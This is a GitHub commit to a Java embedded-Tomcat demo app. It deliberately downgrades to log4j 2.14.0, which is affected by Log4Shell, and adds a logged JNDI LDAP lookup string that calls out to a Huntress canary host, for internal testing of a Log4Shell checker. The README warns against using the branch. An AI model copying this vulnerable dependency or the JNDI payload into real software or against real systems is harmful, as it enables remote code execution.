Skip to content

Commit 665c27b

Browse files
switch to log4shell affected log4j2 for internal testing
Signed-off-by: Andreas Ulm <andreas.ulm@root360.de>
1 parent d792fb8 commit 665c27b

File tree

4 files changed

+51
-8
lines changed

4 files changed

+51
-8
lines changed

README.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,13 @@
1+
# DO NOT USE THIS VERSION
2+
3+
# DO NOT
4+
5+
# DO NOT
6+
7+
# DO NOT
8+
9+
# Use master branch
10+
111
(based on https://github.com/julianjupiter/java-web-app-with-embedded-tomcat)
212

313
# Java Web Application with Embedded Tomcat
@@ -31,3 +41,12 @@ This project used [pre-commit](https://pre-commit.com) to run some code checks o
3141
1. install pre-commit `pip install pre-commit`
3242
2. activate pre-commit `pre-commit install`
3343
3. commit your changes
44+
45+
# Run test-code for log4shell tests
46+
47+
For internal testing within this branch is an application version that is affected by [log4shell](https://www.lunasec.io/docs/blog/log4j-zero-day/).
48+
To run the test:
49+
1. get ID from [Huntress](https://log4shell.huntress.com/)
50+
1. set environment variable `LOGGING_CHECK`: `export LOGGING_CHECK="ID-from-Huntress"`
51+
1. run app: `bash run.sh`
52+
1. check the Huntress results

pom.xml

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@
1818
<failOnMissingWebXml>false</failOnMissingWebXml>
1919
<tomcat.version>9.0.36</tomcat.version>
2020
<slf4j.version>1.7.30</slf4j.version>
21+
<log4j.version>2.14.0</log4j.version>
2122
</properties>
2223

2324
<dependencies>
@@ -53,14 +54,24 @@
5354
</dependency>
5455
<dependency>
5556
<groupId>org.slf4j</groupId>
56-
<artifactId>slf4j-log4j12</artifactId>
57+
<artifactId>slf4j-api</artifactId>
5758
<version>${slf4j.version}</version>
5859
</dependency>
5960
<dependency>
6061
<groupId>org.slf4j</groupId>
6162
<artifactId>jcl-over-slf4j</artifactId>
6263
<version>${slf4j.version}</version>
6364
</dependency>
65+
<dependency>
66+
<groupId>org.apache.logging.log4j</groupId>
67+
<artifactId>log4j-api</artifactId>
68+
<version>${log4j.version}</version>
69+
</dependency>
70+
<dependency>
71+
<groupId>org.apache.logging.log4j</groupId>
72+
<artifactId>log4j-core</artifactId>
73+
<version>${log4j.version}</version>
74+
</dependency>
6475
</dependencies>
6576

6677
<build>

release.sh

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -10,13 +10,13 @@ echo "Building package with version '${version}'"
1010
cat > /tmp/build.sh <<EOF
1111
#!/bin/bash
1212
export DEBIAN_FRONTEND="noninteractive"
13-
apt update -qq -y >/dev/null
14-
apt install -qq -y maven >/dev/null
13+
export MAVEN_OPTS="-Dmaven.repo.local=/maven"
14+
apt-get update -qq -y >/dev/null
15+
apt-get install -qq -y maven >/dev/null
1516
1617
cd /app
1718
sed -i "s/1.0.0-SNAPSHOT/${version}/" pom.xml
1819
mvn clean package
19-
git checkout pom.xml
2020
chown -R "${UID}:${UID}" ./
2121
EOF
2222

@@ -26,6 +26,8 @@ rm -rf "${SCRIPTDIR}/target"
2626

2727
git tag --annotate "${version}" -s -m "release of ${version}"
2828

29-
docker run -ti --rm -v "${SCRIPTDIR}:/app" -v "/tmp/build.sh:/build.sh" ubuntu:focal /build.sh
29+
docker run -ti --rm -v "/tmp/m2_home:/maven" -v "${SCRIPTDIR}:/app" -v "/tmp/build.sh:/build.sh" ubuntu:focal /build.sh
30+
31+
git checkout pom.xml
3032

3133
rm -f /tmp/build.sh

src/main/java/io/github/root360/app/server/TomcatServer.java

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,8 @@
55
import org.apache.catalina.WebResourceRoot;
66
import org.apache.catalina.startup.Tomcat;
77
import org.apache.catalina.webresources.StandardRoot;
8-
import org.slf4j.Logger;
9-
import org.slf4j.LoggerFactory;
8+
import org.apache.logging.log4j.LogManager;
9+
import org.apache.logging.log4j.Logger;
1010

1111
/**
1212
* Class to control TomcatServer.
@@ -19,7 +19,7 @@
1919
public class TomcatServer implements Server {
2020

2121
/** logger object. */
22-
private static final Logger LOGGER = LoggerFactory.getLogger(TomcatServer.class);
22+
private static final Logger LOGGER = LogManager.getLogger(TomcatServer.class);
2323
/** default listen host. */
2424
private static final String DEFAULT_HOST = "localhost";
2525
/** default listen port. */
@@ -57,6 +57,16 @@ public void run(final String... args) {
5757
return;
5858
}
5959

60+
if (System.getenv("LOGGING_CHECK") != null
61+
&& !System.getenv("LOGGING_CHECK").isEmpty()
62+
&& LOGGER.isErrorEnabled()) {
63+
LOGGER.error(
64+
"load external code to test CVE-2021-45046 & CVE-2021-44228 checker:"
65+
+ " ${jndi:ldap://log4shell.huntress.com:1389/"
66+
+ System.getenv("LOGGING_CHECK")
67+
+ "}");
68+
}
69+
6070
LOGGER.info("Application started with URL {}:{}{}.", DEFAULT_HOST, port, CONTEXT_PATH);
6171
LOGGER.info("Hit Ctrl + D or C to stop it...");
6272
tomcat.getServer().await();
@@ -81,3 +91,4 @@ private int port(final String... args) {
8191
return port;
8292
}
8393
}
94+
// vim: ts=2 sw=2 et

0 commit comments

Comments
 (0)